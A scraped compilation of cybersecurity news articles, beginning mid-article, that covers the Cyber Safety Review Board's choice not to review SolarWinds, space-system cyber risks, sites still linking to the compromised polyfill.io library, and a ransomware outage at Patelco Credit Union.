A full, public accounting of what happened in the Solar Winds case would have been devastating to Microsoft. ProPublica recently revealed that Microsoft had long known about—but refused to address—a flaw used in the hack. The tech company’s failure to act reflected a corporate culture that prioritized profit over security and left the US government vulnerable, a whistleblower said.

The board was created to help address the serious threat posed to the US economy and national security by sophisticated hackers who consistently penetrate government and corporate systems, making off with reams of sensitive intelligence, corporate secrets, or personal data.

For decades, the cybersecurity community has called for a cyber equivalent of the National Transportation Safety Board, the independent agency required by law to investigate and issue public reports on the causes and lessons learned from every major aviation accident, among other incidents. The NTSB is funded by Congress and staffed by experts who work outside of the industry and other government agencies. Its public hearings and reports spur industry change and action by regulators like the Federal Aviation Administration.

So far, the Cyber Safety Review Board has charted a different path.

The board is not independent—it’s housed in the Department of Homeland Security. Rob Silvers, the board chair, is a Homeland Security undersecretary. Its vice chair is a top security executive at Google. The board does not have full-time staff, subpoena power or dedicated funding.

Silvers told ProPublica that DHS decided the board didn’t need to do its own review of SolarWinds as directed by the White House because the attack had already been “closely studied” by the public and private sectors.

“We want to focus the board on reviews where there is a lot of insight left to be gleaned, a lot of lessons learned that can be drawn out through investigation,” he said.

As a result, there has been no public examination by the government of the unaddressed security issue at Microsoft that was exploited by the Russian hackers. None of the SolarWinds reports identified or interviewed the whistleblower who exposed problems inside Microsoft.

By declining to review SolarWinds, the board failed to discover the central role that Microsoft’s weak security culture played in the attack and to spur changes that could have mitigated or prevented the 2023 Chinese hack, cybersecurity experts and elected officials told ProPublica.

“It’s possible the most recent hack could have been prevented by real oversight,” Sen. Ron Wyden, a Democratic member of the Senate Select Committee on Intelligence, said in a statement. Wyden has called for the board to review SolarWinds and for the government to improve its cybersecurity defenses.

In a statement, a spokesperson for DHS rejected the idea that a SolarWinds review could have exposed Microsoft’s failings in time to stop or mitigate the Chinese state-based attack last summer. “The two incidents were quite different in that regard, and we do not believe a review of SolarWinds would have necessarily uncovered the gaps identified in the Board’s latest report,” they said.

The board’s other members declined to comment, referred inquiries to DHS or did not respond to ProPublica.

In past statements, Microsoft did not dispute the whistleblower’s account but emphasized its commitment to security. “Protecting customers is always our highest priority,” a spokesperson previously told ProPublica. “Our security response team takes all security issues seriously and gives every case due diligence with a thorough manual assessment, as well as cross-confirming with engineering and security partners.”

The board’s failure to probe SolarWinds also underscores a question critics including Wyden have raised about the board since its inception: whether a board with federal officials making up its majority can hold government agencies responsible for their role in failing to prevent cyberattacks.

“I remain deeply concerned that a key reason why the Board never looked at SolarWinds—as the President directed it to do so—was because it would have required the board to examine and document serious negligence by the US government,” Wyden said. Among his concerns is a government cyberdefense system that failed to detect the SolarWinds attack.

Silvers said while the board did not investigate SolarWinds, it has been given a pass by the independent Government Accountability Office, which said in an April study examining the implementation of the executive order that the board had fulfilled its mandate to conduct the review.

The GAO’s determination puzzled cybersecurity experts. “Rob Silvers has been declaring by fiat for a long time that the CSRB did its job regarding SolarWinds, but simply declaring something to be so doesn’t make it true,” said Tarah Wheeler, the CEO of Red Queen Dynamics, a cybersecurity firm, who co-authored a Harvard Kennedy School report outlining how a “cyber NTSB” should operate.

Silvers said the board’s first and second reports, while not probing SolarWinds, resulted in important government changes, such as new Federal Communications Commission rules related to cell phones.

“The tangible impacts of the board’s work to date speak for itself and in bearing out the wisdom of the choices of what the board has reviewed,” he said.

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to-guard-against-cyberattacks-in-space,-researchers-ask-“what if?”

To guard against cyberattacks in space, researchers ask “what if?”

Complex space systems like the International Space Station could be vulnerable to hackers.

Enlarge / Complex space systems like the International Space Station could be vulnerable to hackers.

If space systems such as GPS were hacked and knocked offline, much of the world would instantly be returned to the communications and navigation technologies of the 1950s. Yet space cybersecurity is largely invisible to the public at a time of heightened geopolitical tensions.

Cyberattacks on satellites have occurred since the 1980s, but the global wake-up alarm went off only a couple of years ago. An hour before Russia’s invasion of Ukraine on February 24, 2022, its government operatives hacked Viasat’s satellite-Internet services to cut off communications and create confusion in Ukraine.

I study ethics and emerging technologies and serve as an adviser to the US National Space Council. My colleagues and I at California Polytechnic State University’s Ethics + Emerging Sciences Group released a US National Science Foundation-funded report on June 17, 2024, to explain the problem of cyberattacks in space and help anticipate novel and surprising scenarios.

Space and you

Most people are unaware of the crucial role that space systems play in their daily lives, never mind military conflicts. For instance, GPS uses signals from satellites. GPS-enabled precision timing is essential in financial services where every detail—such as time of payment or withdrawal—needs to be faithfully captured and coordinated. Even making a mobile phone call relies on precise coordination of time in the network.

Besides navigation for airplanes, boats, cars, and people, GPS is also important for coordinating fleets of trucks that transport goods to stock local stores every day.

Earth-observation satellites are “eyes in the skies” with a unique vantage point to help forecast the weather, monitor environmental changes, track and respond to natural disasters, boost agricultural crop yields, manage land and water use, monitor troop movements, and much more. The loss of these and other space services could be fatal to people vulnerable to natural disasters and crop failure. They could also put global economics and security at serious risk.

Many satellites are crucial for tracking natural and human activity on Earth.

Enlarge / Many satellites are crucial for tracking natural and human activity on Earth.

Factors in play

In our report, we identified several factors that contribute to the increasing threat of space cyberattacks. For instance, it’s important to recognize that the world is at the start of a new space race.

By all accounts, space is becoming more congested and more contested. Both nation-states and private companies, which are underregulated and now own most of the satellites in orbit, are gearing up to compete for resources and research sites.

Because space is so remote and hard to access, if someone wanted to attack a space system, they would likely need to do it through a cyberattack. Space systems are particularly attractive targets because their hardware cannot be easily upgraded once launched, and this insecurity worsens over time. As complex systems, they can have long supply chains, and more links in the chain increase the chance of vulnerabilities. Major space projects are also challenged to keep up with best practices over the decade or more needed to build them.

And the stakes are unusually high in space. Orbital trash zips around at speeds of 6 to 9 miles per second and can easily destroy a spacecraft on impact. It can also end space programs worldwide given the hypothesized Kessler syndrome in which the Earth is eventually imprisoned in a cocoon of debris. These consequences weigh in favor of space cyberattacks over physical attacks because the debris problem is also likely to affect the attacker.

Moreover, given critical space infrastructure and services, such as GPS, conflicts in space can spark or add more fuel to a conflict on Earth, even those in cyberspace. For instance, Russia warned in 2022 that hacking one of its satellites would be taken as a declaration of war, which was a dramatic escalation from previous norms around warfare.

To guard against cyberattacks in space, researchers ask “what if?” Read More »

384,000-sites-pull-code-from-sketchy-code-library-recently-bought-by-chinese-firm

384,000 sites pull code from sketchy code library recently bought by Chinese firm

The supply-chain threat that won’t die —

Many website admins, it seems, have yet to get memo to remove Polyfill[.]io links.

384,000 sites pull code from sketchy code library recently bought by Chinese firm

Getty Images

More than 384,000 websites are linking to a site that was caught last week performing a supply-chain attack that redirected visitors to malicious sites, researchers said.

For years, the JavaScript code, hosted at polyfill[.]com, was a legitimate open source project that allowed older browsers to handle advanced functions that weren’t natively supported. By linking to cdn.polyfill[.]io, websites could ensure that devices using legacy browsers could render content in newer formats. The free service was popular among websites because all they had to do was embed the link in their sites. The code hosted on the polyfill site did the rest.

The power of supply-chain attacks

In February, China-based company Funnull acquired the domain and the GitHub account that hosted the JavaScript code. On June 25, researchers from security firm Sansec reported that code hosted on the polyfill domain had been changed to redirect users to adult- and gambling-themed websites. The code was deliberately designed to mask the redirections by performing them only at certain times of the day and only against visitors who met specific criteria.

The revelation prompted industry-wide calls to take action. Two days after the Sansec report was published, domain registrar Namecheap suspended the domain, a move that effectively prevented the malicious code from running on visitor devices. Even then, content delivery networks such as Cloudflare began automatically replacing pollyfill links with domains leading to safe mirror sites. Google blocked ads for sites embedding the Polyfill[.]io domain. The website blocker uBlock Origin added the domain to its filter list. And Andrew Betts, the original creator of Polyfill.io, urged website owners to remove links to the library immediately.

As of Tuesday, exactly one week after malicious behavior came to light, 384,773 sites continued to link to the site, according to researchers from security firm Censys. Some of the sites were associated with mainstream companies including Hulu, Mercedes-Benz, and Warner Bros. and the federal government. The findings underscore the power of supply-chain attacks, which can spread malware to thousands or millions of people simply by infecting a common source they all rely on.

“Since the domain was suspended, the supply-chain attack has been halted,” Aidan Holland, a member of the Censys Research Team, wrote in an email. “However, if the domain was to be un-suspended or transferred, it could resume its malicious behavior. My hope is that NameCheap properly locked down the domain and would prevent this from occurring.”

What’s more, the Internet scan performed by Censys found more than 1.6 million sites linking to one or more domains that were registered by the same entity that owns polyfill[.]io. At least one of the sites, bootcss[.]com, was observed in June 2023 performing malicious actions similar to those of polyfill. That domain, and three others—bootcdn[.]net, staticfile[.]net, and staticfile[.]org—were also found to have leaked a user’s authentication key for accessing a programming interface provided by Cloudflare.

Censys researchers wrote:

So far, this domain (bootcss.com) is the only one showing any signs of potential malice. The nature of the other associated endpoints remains unknown, and we avoid speculation. However, it wouldn’t be entirely unreasonable to consider the possibility that the same malicious actor responsible for the polyfill.io attack might exploit these other domains for similar activities in the future.

Of the 384,773 sites still linking to polyfill[.]com, 237,700, or almost 62 percent, were located inside Germany-based web host Hetzner.

Censys found that various mainstream sites—both in the public and private sectors—were among those linking to polyfill. They included:

  • Warner Bros. (www.warnerbros.com)
  • Hulu (www.hulu.com)
  • Mercedes-Benz (shop.mercedes-benz.com)
  • Pearson (digital-library-qa.pearson.com, digital-library-stg.pearson.com)
  • ns-static-assets.s3.amazonaws.com

The amazonaws.com address was the most common domain associated with sites still linking to the polyfill site, an indication of widespread usage among users of Amazon’s S3 static website hosting.

Censys also found 182 domains ending in .gov, meaning they are affiliated with a government entity. One such domain—feedthefuture[.]gov—is affiliated with the US federal government. A breakdown of the top 50 affected sites is here.

Attempts to reach Funnull representatives for comment weren’t successful.

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“everything’s-frozen”:-ransomware-locks-credit-union-users-out-of-bank-accounts

“Everything’s frozen”: Ransomware locks credit union users out of bank accounts

Ransomware attack —

Patelco Credit Union in Calif. shut down numerous banking services after attack.

An automated teller machine with a logo for Patelco Credit Union.

Enlarge / ATM at a Patelco Credit Union branch in Dublin, California, on July 23, 2018.

Getty Images | Smith Collection/Gado

A California-based credit union with over 450,000 members said it suffered a ransomware attack that is disrupting account services and could take weeks to recover from.

“The next few days—and coming weeks—may present challenges for our members, as we continue to navigate around the limited functionality we are experiencing due to this incident,” Patelco Credit Union CEO Erin Mendez told members in a July 1 message that said the security problem was caused by a ransomware attack. Online banking and several other services are unavailable, while several other services and types of transactions have limited functionality.

Patelco Credit Union was hit by the attack on June 29 and has been posting updates on this page, which says the credit union “proactively shut down some of our day-to-day banking systems to contain and remediate the issue… As a result of our proactive measures, transactions, transfers, payments, and deposits are unavailable at this time. Debit and credit cards are working with limited functionality.”

Patelco Credit Union is a nonprofit cooperative in Northern California with $9 billion in assets and 37 local branches. “Our priority is the safe and secure restoration of our banking systems,” a July 2 update said. “We continue to work alongside leading third-party cybersecurity experts in support of this effort. We have also been cooperating with regulators and law enforcement.”

“Everything’s frozen”

Patelco member Enrique Juarez said he was having trouble accessing his Social Security payment, according to the Mercury News. “I’ve never had a problem before,” Juarez told the news organization. “Everything’s frozen, I can’t even check my balance until this is resolved—and they don’t know [when that will happen].”

Patelco says that check and cash deposits should be working, but direct deposits have limited functionality.

Security expert Ahmed Banafa “said Tuesday that it looks likely that hackers infiltrated the bank’s internal databases via a phishing email and encrypted its contents, locking out the bank from its own systems,” the Mercury News reported. Banafa was paraphrased as saying that it is “likely the hackers will demand an amount of money from the credit union to restore its systems back to normal, and will continue to hold the bank’s accounts hostage until either the bank finds a way around the hack or until the hackers are paid.”

Change Healthcare, a health payment processing company hit by ransomware this year, told lawmakers that it paid a ransom of $22 million in bitcoin. Change Healthcare owner UnitedHealth failed to use multifactor authentication on critical systems.

Patelco hasn’t revealed details about how it will recover from the ransomware attack but acknowledged to customers that their personal information could be at risk. “The investigation into the nature and scope of the incident is ongoing,” the credit union said. “If the investigation determines that individuals’ information is involved as a result of this incident, we will of course notify those individuals and provide resources to help protect their information in accordance with applicable laws.”

Patelco waives fees, warns of more outages

Patelco said it is waiving overdraft, late payment, and ATM fees “until we are back up and running.” Members who need to access funds from direct deposits can do so by writing a check, using an ATM card to get cash, or by making a purchase, Patelco said.

As of yesterday, members could expect to “experience short, intermittent outages at Patelco ATMs,” the organization said. “This is normal and to be expected during our recovery process. Access to shared ATMs will not be interrupted as part of this process and they remain available for cash withdrawals and deposits.”

A chart on the security update page says the services that remain unavailable include online banking, the mobile app, outgoing wire transfers, monthly statements, Zelle, balance inquiries, and online bill payments.

Patelco branches, call center services, and live chats have “limited functionality,” as do debit card transactions, credit card transactions, and direct deposits, according to the chart. Services that are listed as available include check and cash deposits, ATM withdrawals, ACH transfers, ACH for bill payments, and in-branch loan payments.

“Everything’s frozen”: Ransomware locks credit union users out of bank accounts Read More »